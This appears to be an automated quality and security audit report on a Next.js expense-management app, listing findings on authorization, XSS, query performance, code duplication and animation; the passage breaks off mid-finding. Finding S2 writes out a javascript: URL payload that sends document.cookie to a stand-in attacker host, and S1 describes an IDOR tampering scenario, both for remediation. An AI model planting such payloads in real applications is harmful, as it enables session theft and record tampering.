Project

General

Profile

Feature #3250 » W14_gate_quality-audit-oms-bug-fixes.txt

Bot AI, 09/01/2026 12:50 PM

 
================================================================================
GATE 5 — QUALITY & SECURITY AUDIT (node W14_gate_quality_audit)
Repo: oms-web (Next.js 14 / Tailwind 3 / Prisma+Postgres, standalone)
Branch: feat/3250-oms-ui-bug-fixes-chips-s
HEAD: 2fa4249 "4. Dead Code (oms-bug-fixes)"
Gate: gates/nextjs-tailwind-standalone/quality-audit-gate.md
Result: FAIL — 4 unresolved P1 findings
================================================================================

FEATURE FILES AUDITED (12)
app/(app)/admin/items/page.tsx
app/(app)/admin/projects/page.tsx
app/(app)/admin/suppliers/page.tsx
app/(app)/admin/uom/page.tsx
app/(app)/admin/users/page.tsx
app/(app)/expense-summary/[project]/page.tsx
app/(app)/expense-summary/page.tsx
app/(app)/expense-summary/ExpenseSummaryRowActions.tsx
app/(app)/expenses/page.tsx
app/(app)/orders/page.tsx
components/forms/ExpenseForm.tsx
components/forms/ResetPasswordForm.tsx

Supporting files read to trace the above (not themselves in scope, cited where
a finding's root cause lives there): middleware.ts, next.config.mjs,
tailwind.config.ts, app/globals.css, app/api/uploads/route.ts,
lib/params.ts, lib/auth.ts, lib/prisma.ts, lib/validation/schemas.ts,
lib/actions/{expenses,profile,shared}.ts, lib/permissions/{guard,ui,registry}.ts,
lib/queries/{expenses,rbac}.ts, lib/orders/access.ts,
components/ui/{AttachmentChip,DataTable,ListToolbar,Pagination,RowActions,
SearchInput,FilterBar}.tsx, components/auth/Can.tsx,
app/(app)/expenses/ExpenseRowActions.tsx, app/(app)/admin/items/ItemRowActions.tsx.

--------------------------------------------------------------------------------
SKILL RESOLUTION (gate file "Resolution order", per-skill, as required)
--------------------------------------------------------------------------------
No slash-command layer was available for any of the seven skills (steps 1 and 2
of the resolution order both unavailable). All seven resolved via step 3 —
read as FILES. Note the gate file's stated path
(.claude/skills/nextjs-tailwind-<name>/SKILL.md) does not exist in this
checkout; the actual location is one level up, outside the repo:

/opt/drcarrot-deploy/cross-repo-orchestration/skills/nextjs-tailwind-<name>/SKILL.md

1. code-quality .............. step 3 (file) OK
2. dry-architecture .......... step 3 (file) PARTIAL — see below
3. css-dry ................... step 3 (file) OK
4. css-performance ........... step 3 (file) OK
5. performance ............... step 3 (file) OK
6. animation-performance ..... step 3 (file) OK
7. security .................. step 3 (file) OK

DEGRADED SKILL — nextjs-tailwind-dry-architecture-audit
That SKILL.md is byte-corrupted between roughly its "Core principle" heading
and its "Investigation workflow" section: the middle ~60% of the file is
mojibake/garbled text, not readable English (e.g. "Ablwind copy-ighesCen
duplication repreame underlyi"). Its YAML frontmatter, its `description`, its
"Investigation workflow" list and its "Output format" block ARE intact and
were followed. What is unreadable is the body detailing the "same concept, not
same shape" test and its worked examples.
Impact: the [dry-architecture] findings below were produced from the intact
frontmatter + workflow + output format, applying the same-concept test as
described in the (readable) css-dry skill, which states it explicitly. This is
reported rather than silently skipped, per the gate file's rule 4. Recommend
restoring that file from source before the next run.

--------------------------------------------------------------------------------
REAL TOOL OUTPUT (commands actually executed in this checkout)
--------------------------------------------------------------------------------
$ npx tsc --noEmit
-> exit 0, no diagnostics.

$ npx next lint
-> "✔ No ESLint warnings or errors"

$ npx next build
-> "✓ Compiled successfully"; 25/25 static pages generated.
First Load JS shared by all: 87.3 kB
chunks/2117-*.js 31.7 kB
chunks/fd9d1056-*.js 53.6 kB
other shared 1.89 kB
Largest route First Load JS: 127 kB (/admin/items, /admin/projects,
/admin/suppliers, /admin/uom, /admin/users)
/expenses 125 kB · /orders 125 kB · /expense-summary/[project] 124 kB
/expense-summary 114 kB · /profile/reset-password 101 kB
Middleware 30.5 kB
-> No oversized chunk. No bundle-size finding raised.

$ npx vitest run
-> Test Files 6 failed | 94 passed (100)
Tests 8 failed | 732 passed (740) Duration 268.77s
Failing:
tests/expense-form.test.tsx > selects an expense type via the row's Listbox
tests/expense-summary-page.test.tsx > renders one aggregated row per project
with its total and a View Details link
tests/expenses-page.test.tsx > renders a row per expense with date, project,
item count, total, and status
tests/item-form.test.tsx > pre-populates fields from the given item
tests/order-form.test.tsx > renders the Add Supplier trigger when
canCreateSupplier is true
tests/user-form.test.tsx > disables the Role select with a prompt until a
Type is chosen
tests/user-form.test.tsx > pre-populates fields, and Role, from the given
user, and shows the leave-blank password hint
tests/user-form.test.tsx > resets the selected Role when the Type is changed
away from the user's current type
-> RECORDED, NOT COUNTED. Test health belongs to the unit-test gate, not this
one, so these do not contribute to the P1 count. Flagging anyway because
three of the six failing files cover THIS ticket's feature files
(ExpenseForm, expense-summary page, expenses page) and the sampled failure
is a real assertion mismatch ("Unable to find an element with the text:
Select..." — the element renders it as a `placeholder` attribute, not text),
not an environment problem.

--------------------------------------------------------------------------------
AUTO-FIX STATUS (gate file Step 3)
--------------------------------------------------------------------------------
NOTHING WAS AUTO-FIXED. Every finding below is fixed=false.
This node runs with read-only access by design ("You have no write access"),
so Step 3's safe-auto-fix pass could not execute. Three findings would have
qualified as clearly-safe under Step 3 had write access existed — CQ1 (no-op
map), CP2 (duplicated inline SVG), C2 (repeated em-dash span). They are
reported instead. The four P1s would NOT have been auto-fixed regardless: S1
and S2 change security posture (and the gate file forbids ever guessing at an
authorization fix), P1f and D1 change observable behavior.

================================================================================
MERGED FINDINGS — 21 total: 4 × P1, 11 × P2, 6 × P3
================================================================================

################################################################################
# P1 — BLOCKING (4)
################################################################################

[security] S1 — P1 / Severity: High
**File:** lib/actions/expenses.ts
**Location:** lines 82-95, `updateExpense`
**Category:** authz (IDOR — horizontal escalation)
**Problem:** ExpenseItem ids arrive from the client and are used as a bare
primary-key lookup with no check that the item belongs to the expense being
edited.
**Evidence:**
for (const item of items) {
if (item.id) {
await tx.expenseItem.update({ where: { id: item.id }, data: { type: item.type, amount: item.amount } });
The id is client-controlled end to end: components/forms/ExpenseForm.tsx:196
serializes the row array into a hidden `itemsJson` input, and
lib/validation/schemas.ts:132 accepts `id: z.string().trim().optional()` with
no ownership constraint. The surrounding transaction scopes its DELETE
correctly (`where: { expenseId: id }`, line 68) — only the UPDATE arm is
unscoped, which is what makes this look intentional-but-missed rather than a
wholesale absence of authorization.
**Attack scenario:** A user holding `expense:update` opens any expense they may
legitimately edit. They submit the form with `itemsJson` hand-edited so one
row's `id` is an ExpenseItem id belonging to a different expense — including
one they cannot open. The action's only gate, `requirePermission("expense:update")`
on line 47, passes (they do hold the permission), and the write lands on the
other expense's row.
**Impact:** Any `expense:update` holder can silently alter the type and amount
of arbitrary expense line items across the whole table. Financial-record
tampering with no audit trail — lib/audit.ts's writeAuditLog is not called on
this path.
**Recommended remediation:** Scope the update to the parent, so a foreign id
matches zero rows instead of someone else's:
await tx.expenseItem.updateMany({
where: { id: item.id, expenseId: id },
data: { type: item.type, amount: item.amount },
});
`existing` (line 68) is already loaded and already scoped to this expense —
validating `item.id` against it before the loop is equally correct and lets
the action return a field error rather than silently no-op'ing.
**Risk of change:** Low. Legitimate edits always pass ids that belong to the
expense, so behavior is unchanged for them. Verify by editing an expense with
2+ items and confirming both persist.
**Fixed:** NO — never auto-fix an authorization gap (gate file Step 3).

--------------------------------------------------------------------------------

[security] S2 — P1 / Severity: High
**File:** lib/validation/schemas.ts (root cause) → components/ui/AttachmentChip.tsx (sink)
**Location:** schemas.ts:120-125 `attachmentMetaSchema`; AttachmentChip.tsx:44
**Category:** injection (stored XSS via unvalidated URL scheme)
**Problem:** An attachment's `url` is validated only as a non-empty string, is
persisted verbatim, and is later rendered straight into an anchor `href`.
**Evidence:** schemas.ts:120-125 —
export const attachmentMetaSchema = z.object({
fileName: z.string().trim().min(1),
mimeType: z.string().trim().min(1),
size: z.coerce.number().int().positive(),
url: z.string().trim().min(1), // <-- no scheme/prefix constraint
});
Persisted unmodified — lib/actions/expenses.ts:37 (createExpense) and :91
(updateExpense) both do `...(i.attachment ? { attachment: { create: i.attachment } } : {})`.
Rendered — components/ui/AttachmentChip.tsx:44 —
<a href={url} target="_blank" rel="noreferrer" ...>
**Why the value is attacker-controlled rather than server-derived:** by design.
app/api/uploads/route.ts:85-93 returns the file metadata WITHOUT creating the
Attachment row (the Attachment_exactly_one_parent CHECK forbids a parentless
row), so the client carries `url` through the form and hands it back. That is
a deliberate, documented flow — but it means the server never re-derives the
URL and currently never re-validates it either.
**Attack scenario:** A user with `expense:create` submits `itemsJson` containing
`attachment: {fileName:"invoice.pdf", mimeType:"application/pdf", size:1,
url:"javascript:fetch('//attacker/'+document.cookie)"}`. No file is ever
uploaded, so none of the upload route's allowlist checks (extension, MIME,
2MB cap, filename sanitization — all correctly implemented at route.ts:53-76)
are reached. The row persists. Every later viewer of that expense, and of
/expense-summary/<project> (which renders the same chip at
app/(app)/expense-summary/[project]/page.tsx:48), gets a link that executes
attacker script in their session on click.
**Impact:** Stored XSS against any user who opens the affected expense,
including higher-privileged ones — session theft, actions performed as the
victim. A `//attacker.example` value is a lower-severity but equally available
phishing variant.
**Recommended remediation:** Constrain the field to the only shape the upload
route can actually produce:
url: z.string().trim().regex(/^\/uploads\/[A-Za-z0-9._-]+$/, "Invalid attachment reference"),
That pattern is exactly what route.ts:75-82 builds (`/uploads/${safeName}`,
where safeName is already `[^a-zA-Z0-9._-]` -> `_`), so it rejects every
crafted value while accepting every legitimate one. Defense in depth: have
AttachmentChip refuse any href not starting with `/uploads/`.
**Risk of change:** Low, but it IS observable — any pre-existing row whose url
does not match the pattern would stop rendering as a link. Check the
Attachment table for non-conforming urls before shipping.
**Fixed:** NO — changes security posture and validation behavior.

--------------------------------------------------------------------------------

[performance] P1f — P1
**File:** lib/queries/expenses.ts (root cause) — consumed by app/(app)/expense-summary/page.tsx:18
**Location:** expenses.ts:64-95, `expenseSummaryByProject`
**Category:** data-fetching
**Problem:** Two completely unbounded queries per page view, aggregated in JS,
feeding a page that renders no pagination at all.
**Evidence:** expenses.ts:65-72 —
const grouped = await prisma.expenseItem.groupBy({ by: ["expenseId"], _sum: { amount: true } });
const expenses = await prisma.expense.findMany({
select: { id: true, projectId: true, project: { select: { name: true } } },
});
Neither has a `where`, a `take`, or a `skip`. The search filter (line 87-89)
and the sort (line 91-93) then run in JS over the full materialized array.
Confirming the page never bounds it: app/(app)/expense-summary/page.tsx
imports no `Pagination` (contrast every other list page, which renders
`<Pagination page={params.page} pageSize={params.pageSize} total={total} />`)
and ignores `params.page`/`params.pageSize` entirely.
**Why it matters:** Every row of ExpenseItem and every row of Expense is pulled
into the Node process on each request, and every project row is serialized
into the RSC payload to the browser. Cost grows linearly and without bound
with table size — this is the one list screen in the app that does not degrade
gracefully. Directly hits TTFB and the page's LCP. The two awaits are also
sequential when they are independent.
**Recommended fix:** Push the aggregation into SQL — group ExpenseItem joined to
Expense by projectId, with ORDER BY / LIMIT / OFFSET server-side — and render
`<Pagination>` on the page, matching the `skipTake(params)` pattern
lib/params.ts:58 already provides and every sibling query already uses. If a
single-query rewrite is out of scope for this ticket, `Promise.all` the two
reads as an interim step and add the paging.
**Risk of change:** Medium — this is the screen's core query and re-shaping it
changes result ordering/paging semantics. tests/expense-summary-page.test.tsx
already covers the rendering contract (and is currently failing, see tool
output above — fix that first so it can serve as the regression net).
**Fixed:** NO — behavior-changing (adds pagination to a currently unpaginated screen).

--------------------------------------------------------------------------------

[dry-architecture] D1 — P1
**Concept:** "build a list-page URL preserving current list params"
**Files:** defined 9 times, once in each of this ticket's list pages —
app/(app)/admin/items/page.tsx:38-44
app/(app)/admin/projects/page.tsx:37-43
app/(app)/admin/suppliers/page.tsx:39-45
app/(app)/admin/uom/page.tsx:37-43
app/(app)/admin/users/page.tsx:52-58
app/(app)/expenses/page.tsx:32-38
app/(app)/orders/page.tsx:40-46
app/(app)/expense-summary/page.tsx:30-36
app/(app)/expense-summary/[project]/page.tsx:55-61
(verified: `grep -rln "const buildHref" app` returns exactly these 9)
**Evidence:** character-identical in all nine but for the final template string:
const buildHref = (extra: Record<string, string | number | undefined>) => {
const p = new URLSearchParams();
for (const [k, v] of Object.entries({ ...params, ...extra })) {
if (v !== undefined && v !== "") p.set(k, String(v));
}
return `/admin/items?${p.toString()}`; // <-- only this line differs
};
**Why these are the same concept:** They are not merely similar-looking — they
are one function with one varying literal, and every one of them is passed to
the same prop (`DataTable`'s `buildSortHref`). Any change to list-URL encoding
— dropping empty params, resetting `page` on re-sort (see CQ5), adding a param
— must be made nine times or the pages drift.
**The fix already exists in this codebase and is simply not being reused.**
components/ui/Pagination.tsx:50-57 contains a strictly better version of the
same function, deriving the base path from `usePathname()` and the params from
`useSearchParams()` instead of hardcoding either. Its own comment (lines
42-49) records that it was written precisely because passing the page's copy
across the RSC/Client boundary crashed production with "Functions cannot be
passed directly to Client Components". So the codebase has already paid for
this lesson once, in this exact area.
**Recommended fix:** Hoist a `buildListHref(basePath, params, extra)` into
lib/params.ts — which already owns every other list-param concern (parse,
skipTake, orderBy, orderByMap) and is already imported by all nine pages, so
this adds no new import anywhere. Alternatively, let `DataTable` derive the
sort href the way `Pagination` already does and drop the `buildSortHref` prop
entirely; that removes the duplication rather than relocating it.
**Priority:** P1 — nine copies of one function across every changed page in the
ticket, with a known, already-encountered failure mode.
**Risk of change:** Low-to-medium. All nine call sites change. If the
DataTable-derives-it option is taken, note that DataTable is currently a
Server Component (no "use client") and would need to become a client
component or take the pathname as a string prop — do not repeat the crash
Pagination.tsx documents.
**Fixed:** NO — touches nine files and the DataTable prop contract.

################################################################################
# P2 (11)
################################################################################

[security] S3 — P2 / Severity: Medium
**File:** lib/actions/expenses.ts
**Location:** lines 11-15, `parseExpenseForm`
**Category:** input-validation
**Problem:** `JSON.parse` on a client-controlled string with no try/catch, ahead
of Zod.
**Evidence:**
function parseExpenseForm(formData: FormData) {
const raw = Object.fromEntries(formData);
const items = JSON.parse((raw.itemsJson as string) || "[]");
return { ...raw, items };
}
Called at line 19 (createExpense) and line 48 (updateExpense), both before
`expenseSchema.safeParse`, so Zod's error handling never gets the chance to
produce a field error.
**Attack scenario / impact:** Any authenticated caller POSTs the Server Action
with `itemsJson=<malformed>`; the SyntaxError propagates out of the action to
Next's error boundary. No data exposure and no DoS beyond one request, but it
turns a validation problem into a 500 and, depending on deployment error
config, can surface a stack frame. Low real-world severity — raised because
it sits on the same client-controlled path as S1 and S2 and is trivially
closed.
**Recommended remediation:** Wrap the parse and return an ActionState field
error, so the payload is rejected the same way every other bad input is:
let items: unknown = [];
try { items = JSON.parse((raw.itemsJson as string) || "[]"); }
catch { return { ok: false, fieldErrors: { items: "Invalid expense items." } }; }
**Overlap:** same line as [code-quality] CQ3 (error-handling lens). Both kept per
the gate file's "near-duplicates from two lenses are signal" rule.
**Fixed:** NO — changes the action's response contract on a new path.

--------------------------------------------------------------------------------

[performance] P2f — P2
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 21-24 (`generateMetadata`) and line 33 (page body)
**Category:** data-fetching
**Problem:** The identical Project query runs twice per request.
**Evidence:**
// line 22, inside generateMetadata
const project = await prisma.project.findUnique({ where: { id: params.project } });
// line 33, inside the page component
const project = await prisma.project.findUnique({ where: { id: routeParams.project } });
Next.js invokes `generateMetadata` and the page in the same request. Neither
call is memoized — contrast lib/queries/rbac.ts:40, where
`getUserWithPermissions` is wrapped in React `cache()` for exactly this reason
and documents it ("Memoized per request (React `cache`) so the ... re-check
doesn't re-query once per guarded page/action in the same render").
**Why it matters:** One redundant DB round trip on every view of this page,
added directly to TTFB. Small in absolute terms; notable because the codebase
already has the fix pattern in-tree and this is the one place that skips it.
**Recommended fix:** Add a cached accessor to lib/queries/masters.ts —
`export const getProject = cache((id: string) => prisma.project.findUnique({ where: { id } }))`
— and call it from both places. This also resolves CQ4 (the page's direct
prisma import).
**Risk of change:** Very low; identical results, one fewer query.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[performance] P3f — P2
**File:** app/(app)/expenses/page.tsx
**Location:** line 29 (column render) → app/(app)/expenses/ExpenseRowActions.tsx:12
**Category:** rendering
**Problem:** A permission check that costs a signature verification runs once
per table row instead of once per page.
**Evidence:** expenses/page.tsx:29 —
{ key: "actions", header: "Actions", render: (r) => <ExpenseRowActions id={r.id} /> },
ExpenseRowActions.tsx:12 wraps its content in `<Can code="expense:update">`.
components/auth/Can.tsx:10 is an async Server Component that calls
`getPermissions()` on every render. lib/permissions/ui.ts:36 calls
`getSession()`, and lib/auth.ts:201 —
export async function getSession(): Promise<Session | null> {
const token = cookies().get(SESSION_COOKIE)?.value;
return verifySessionToken(token);
}
— is a plain async function, NOT wrapped in React `cache()`. `verifySessionToken`
(lib/auth.ts:136+) performs a WebCrypto HMAC verification each time.
**Why it matters:** With `pageSize` up to 100 (lib/params.ts:8), that is up to
100 HMAC verifications per render of this page. The DB read behind it is
memoized (`getUserWithPermissions` is cached) so this is CPU, not I/O — but it
is avoidable CPU on the server's render path, affecting TTFB.
**The correct pattern is already used by the five admin pages** — e.g.
app/(app)/admin/items/page.tsx:23-25 resolves it once and passes booleans:
const [{ rows, total }, can] = await Promise.all([listItems(params), getPermissions()]);
const canUpdate = can("item:update");
const canDelete = can("item:delete");
**Recommended fix:** Hoist `getPermissions()` into this page's existing
`Promise.all` (line 22 already has one) and pass `canUpdate` down as a prop,
exactly as the admin pages do. Independently, wrapping `getSession` in React
`cache()` in lib/auth.ts would blunt the cost everywhere.
**Risk of change:** Low — same rendered output; verify the Edit icon still hides
for a user without `expense:update`.
**Overlap:** same root cause as [dry-architecture] D3, different lens (cost vs.
inconsistency).
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ1 — P2
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** line 79, and the type on line 39
**Category:** dead-code
**Problem:** A `.map()` that produces an object identical to its input, plus the
type intersection that exists only to justify it.
**Evidence:**
// line 39
const columns: Column<(typeof rows)[number] & { id: string }>[] = [
// line 79
rows={rows.map((r) => ({ ...r, id: r.id }))}
`rows` here comes from `expenseItemsForProject` (lib/queries/expenses.ts:125),
which returns `prisma.expenseItem.findMany(...)` results — every row already
has `id`. So `{ ...r, id: r.id }` copies `id` onto itself, and
`& { id: string }` widens a type that already satisfies the constraint.
**Why it matters:** It allocates a new object per row for nothing, and it reads
as though a real key remapping is happening. The genuine version of this
pattern is 40 lines away in the sibling file —
app/(app)/expense-summary/page.tsx:44 does `({ ...r, id: r.projectId })`,
which IS necessary because those aggregate rows have no `id`. Someone
maintaining this pair has to diff them carefully to see that one is load-
bearing and one is not.
**Recommended fix:** `rows={rows}`, and drop `& { id: string }` from line 39.
**Risk of change:** None — provably identical output. `tsc --noEmit` (clean
today) is a sufficient check.
**Fixed:** NO — would have qualified for Step 3 auto-fix, but this node has no
write access.

--------------------------------------------------------------------------------

[code-quality] CQ2 — P2
**File:** components/forms/ExpenseForm.tsx
**Location:** lines 91-115, `handleUpload`
**Category:** error-handling
**Problem:** `try`/`finally` with no `catch` — the transport-failure path is
silently swallowed while the HTTP-error path is handled properly.
**Evidence:**
setUploadingIndex(index);
try {
const body = new FormData();
body.set("file", file);
const res = await fetch("/api/uploads", { method: "POST", body });
const data = await res.json().catch(() => ({}));
if (!res.ok) { setUploadError(data.error ?? "Upload failed."); return; } // handled
updateRow(index, { attachment: data.file as UploadedAttachment });
} finally {
setUploadingIndex(null); // no catch
}
Note the file already demonstrates it knows to do this — `.catch(() => ({}))`
guards the JSON parse one line up, and the oversize case sets `uploadError`
at line 94. Only the `fetch` rejection is unguarded.
**Why it matters:** On a dropped connection or offline browser, `fetch` rejects.
`finally` resets `uploadingIndex`, so the label flips from "Uploading…" back
to "Upload" with no message and no attached file — indistinguishable from the
user never having clicked. `uploadError` (rendered at line 258) stays null.
The rejection also surfaces as an unhandled promise rejection in the console.
**Recommended fix:** add
} catch { setUploadError("Upload failed. Please check your connection and try again."); }
before the `finally`.
**Risk of change:** Low — adds a message on a path that currently shows nothing.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ3 — P2
**File:** lib/actions/expenses.ts
**Location:** line 13, `parseExpenseForm`
**Category:** error-handling
**Problem:** Unguarded `JSON.parse` turns a recoverable validation failure into
an unhandled exception, bypassing the ActionState error channel every other
failure in this module uses.
**Evidence / fix:** identical to [security] S3 above — see there.
**Why it matters (this lens):** Both actions in this file return
`{ ok: false, fieldErrors: ... }` for every other bad input (lines 20, 49).
This one path throws instead, so the form's `state.message` rendering
(ExpenseForm.tsx:195) can never display it and the user gets an error page
rather than an inline message.
**Overlap:** deliberate near-duplicate of S3, kept per the gate file's Step 2
rule. S3 frames it as unvalidated input on an attacker-reachable path; CQ3
frames it as inconsistent error handling within the module.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[dry-architecture] D2 — P2
**Concept:** "the ExpenseType domain and its human-readable labels"
**Files:**
components/forms/ExpenseForm.tsx:37-45 (EXPENSE_TYPE_OPTIONS)
app/(app)/expense-summary/[project]/page.tsx:11-19 (EXPENSE_TYPE_OPTIONS)
lib/validation/schemas.ts:133-141 (the z.enum value list)
**Evidence:** the two option arrays are byte-identical, including order:
{ value: "TRAVEL", label: "Travel Allowance" },
{ value: "MATERIAL", label: "Material" },
... through ...
{ value: "MISCELLANEOUS", label: "Miscellaneous" },
and schemas.ts holds the same seven values as the authoritative validation
list: z.enum(["TRAVEL","MATERIAL","LABOUR","FOOD","FUEL","MAINTENANCE","MISCELLANEOUS"]).
**Why these are the same concept:** They are three projections of one closed
domain. Adding an expense type requires editing all three; miss the display
copies and the value silently renders as its raw enum name — the summary page
already has that fallback wired in at line 41
(`EXPENSE_TYPE_OPTIONS.find(...)?.label ?? r.type`), which means the failure
is silent rather than loud. Miss the schema and the new type is rejected
server-side.
**Recommended fix:** One exported const — values derived from the Zod enum (or
from Prisma's generated `ExpenseType`) paired with labels — in a shared module
both consumers import. lib/validation/schemas.ts is the natural home since it
already owns the authoritative list; the two UI copies become imports.
**Priority:** P2
**Risk of change:** Low. Same values, same order, so both the `<Listbox>` options
and the summary filter render identically. Purely additive at the schema end.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[dry-architecture] D3 — P2
**Concept:** "resolve this viewer's row-level permissions for a list page"
**Files:** two competing implementations across the ticket's own list pages —
Hoisted (correct, 5 files):
app/(app)/admin/items/page.tsx:23-25, admin/projects:23-25,
admin/suppliers:23-25, admin/uom:23-25, admin/users:30-36
-> getPermissions() in the page's Promise.all, booleans passed as props
Per-row (2 files):
app/(app)/expenses/page.tsx:29 -> ExpenseRowActions -> <Can code="expense:update">
app/(app)/expense-summary/page.tsx:26 -> ExpenseSummaryRowActions (no gate at all)
**Why these are the same concept:** All seven pages answer "may this viewer edit
/ delete this row" for a paginated table. Two different mechanisms for one
question means a change to how permissions resolve has to be found in two
shapes, and it is already producing measurably different cost (see P3f).
**Recommended fix:** Standardize on the hoisted form — it is what
lib/permissions/ui.ts:26-29 prescribes in its own doc comment ("Calling this
after requirePermission() in the same render costs no extra DB round trip"),
it is the majority pattern (5 of 7), and it is the faster one.
**Deliberate non-finding:** ExpenseSummaryRowActions having no `<Can>` at all is
NOT a gap. Its only action is a view link, and components/ui/RowActions.tsx:20-22
documents the rule — "view has no separate permission, since reaching this row
already required the list page's own *:read permission" — which middleware.ts
enforces via ROUTE_PERMISSIONS' `expense_summary:read` entry
(lib/permissions/registry.ts:111). Consistent with the app's model.
**Priority:** P2
**Risk of change:** Low — same rendered output; verify gated icons still hide.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-dry] C1 — P2
**Concept:** "row-action icon link" (the icon-button in a table's Actions column)
**Files:** three separate hand-rolled implementations —
components/ui/RowActions.tsx:33
className="p-1.5 -m-1.5 text-text" + <Eye className="h-4 w-4" />
components/ui/RowActions.tsx:37
className="p-1.5 -m-1.5 text-status-info" + <Pencil className="h-4 w-4" />
components/ui/RowActions.tsx:45 (button variant)
className="p-1.5 -m-1.5 text-status-danger" + <Trash2 className="h-4 w-4" />
app/(app)/expenses/ExpenseRowActions.tsx:13
className="inline-flex p-1.5 -m-1.5 text-status-info" + <Pencil className="h-4 w-4" />
app/(app)/expense-summary/ExpenseSummaryRowActions.tsx:9
className="inline-flex p-1.5 -m-1.5 text-text" + <Eye className="h-4 w-4" />
**Why these are the same concept:** Identical negative-margin hit-target recipe
(`p-1.5 -m-1.5`), identical icon sizing (`h-4 w-4`), identical `aria-label`
convention ("View X" / "Edit X" / "Delete X"), same visual slot in the same
table column. A change to the touch-target size or the icon scale must apply
to all five or the Actions column becomes visibly ragged across screens.
**Drift is already present, and it is this ticket's own additions that introduced
it:** the two files added by #3250 prepend `inline-flex`; the three in
RowActions.tsx do not. Both files' comments say they are deliberately
"mirroring" the existing pattern (ExpenseRowActions.tsx:5-9,
ExpenseSummaryRowActions.tsx:4-6) — mirroring by copy, which is exactly the
drift this audit looks for.
**Recommended primitive:** `RowActionIcon({ href | onClick, label, tone, icon })`
in components/ui/. Variant set justified strictly by what exists — three tones:
`text-text` (view), `text-status-info` (edit), `text-status-danger` (delete).
No other tone appears anywhere, so propose no others.
**Priority:** P2
**Risk of change:** Low, but visually verifiable: adding `inline-flex` to the
three RowActions instances (or removing it from the two new ones) is a real
layout change. Settle which is correct against the #3248 design spec first,
then consolidate. Five call sites.
**Fixed:** NO — consolidating changes rendered markup.

--------------------------------------------------------------------------------

[animation-performance] A1 — P2 (cross-cutting — reported once, per the skill)
**Files:** repo-wide
**Animated properties:** all of them
**Problem:** No reduced-motion support exists anywhere.
**Evidence:** `grep -rn "motion-reduce\|prefers-reduced-motion" app components`
-> NO MATCHES. Meanwhile ~10 transitions ship (full inventory in A2 plus:
Listbox.tsx:227 transition-transform, StatusToggle.tsx:50,53
transition-colors/transform, DatePicker.tsx:271 transition-colors,
button.tsx:24 transition-colors, table.tsx:42 transition-colors,
Sidebar.tsx:135,149 transition-transform/colors).
**Why it matters:** Most of these are small colour/transform micro-interactions
where reduced-motion matters little. The ones that do matter are the large
sliding motions in A2 — SearchInput's 40px->320px width expansion and the
sidebar's width collapse — which are exactly the "large, fast, or repeated
motion" class that can cause vestibular discomfort. A user who has set
prefers-reduced-motion currently gets no accommodation on this app at all.
**Recommended fix:** One global rule in app/globals.css rather than per-component
variants, since this is a cross-cutting property:
@media (prefers-reduced-motion: reduce) {
*, *::before, *::after { transition-duration: 0.01ms !important; animation-duration: 0.01ms !important; }
}
Optionally add `motion-reduce:transition-none` to the two width transitions.
**Expected impact:** No change for users who have not set the preference.
**Risk of change:** Very low; scoped entirely behind the media query.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[animation-performance] A2 — P2
**Files:** components/ui/SearchInput.tsx:111, components/ui/FilterBar.tsx:127,
components/layout/Sidebar.tsx:101
**Component:** the shared list-page chrome — every one of this ticket's nine list
pages renders SearchInput and/or FilterBar via `<ListToolbar>`; Sidebar wraps
all of them via app/(app)/layout.tsx.
**Animated properties:** `width` (SearchInput, Sidebar), `grid-template-rows`
(FilterBar) — all layout-triggering.
**Evidence:**
SearchInput.tsx:111 "relative h-10 shrink-0 overflow-hidden transition-[width] duration-200 ease-in-out"
FilterBar.tsx:127 "order-last grid w-full transition-[grid-template-rows] duration-200 ease-in-out"
Sidebar.tsx:101 "shrink-0 border-r border-border bg-surface flex flex-col transition-[width]"
SearchInput's own comment (lines 21-27) confirms the intent: the collapsed
icon expands to a `w-80` field (line 132).
**Problem:** `width` and `grid-template-rows` both force a full layout pass every
frame. Sidebar and FilterBar additionally reflow the entire page content
beside/below them for the whole 200ms, not just their own box.
**Why it matters:** On a list page already rendering up to 100 table rows, a
200ms layout-thrashing transition has to re-lay-out that table on every frame.
This is the classic janky-animation pattern the skill exists to catch.
**Recommended fix:**
- SearchInput: give the container its final width and animate
`transform: scaleX()` / `translate-x` on the input, keeping opacity for the
icon swap it already does (lines 122, 132). Compositor-only.
- Sidebar: same approach, or accept it — it animates rarely (explicit user
toggle) and the cost is bounded.
- FilterBar: LEAVE AS IS. `transition-[grid-template-rows]` is the standard
auto-height accordion technique and has no `transform` equivalent that
preserves content-driven height. Flagged for completeness of the inventory,
not as something to change. The file already documents the choice (line 38).
**Expected impact:** Removes per-frame layout from the most frequently triggered
of the three (the search expand/collapse).
**Risk of change:** Medium for SearchInput — it is a focus-management-sensitive
component (its comment at lines 21-27 describes deliberate accessibility-tree
behavior during the transition); do not regress that while changing how it
animates.
**Scope note:** These three files are NOT in `feature_files`. They are reported
because every audited page renders them and the animation skill's brief is
what actually animates on the audited screens. Treat as advisory relative to
the in-scope findings.
**Fixed:** NO — read-only access, and out of the ticket's changed set.

################################################################################
# P3 (6)
################################################################################

[performance] P4f — P3
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 33 and 37
**Category:** data-fetching
**Problem:** Sequential awaits on two independent queries — a waterfall.
**Evidence:**
const project = await prisma.project.findUnique({ where: { id: routeParams.project } });
if (!project) notFound();
const params = parseListParams(searchParams, "expenseDate");
const { rows, total, totalExpenses } = await expenseItemsForProject(routeParams.project, params);
Both depend only on `routeParams.project`, which is known before either runs.
**Why it matters:** Adds one full DB round-trip latency to TTFB. Every sibling
list page parallelizes (`Promise.all` at orders/page.tsx:24, expenses/page.tsx:22,
admin/*/page.tsx:23) — this is the outlier.
**Recommended fix:** `const [project, data] = await Promise.all([...])`, then
`if (!project) notFound()`. Note the tradeoff: the expense query would run even
for a nonexistent project id. Given `notFound()` is a rare path, that is the
right trade — but it is a real behavior difference worth stating.
**Risk of change:** Low.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ4 — P3
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 2, 22, 33
**Category:** structure (separation of concerns)
**Problem:** The page imports Prisma and queries the database inline, while every
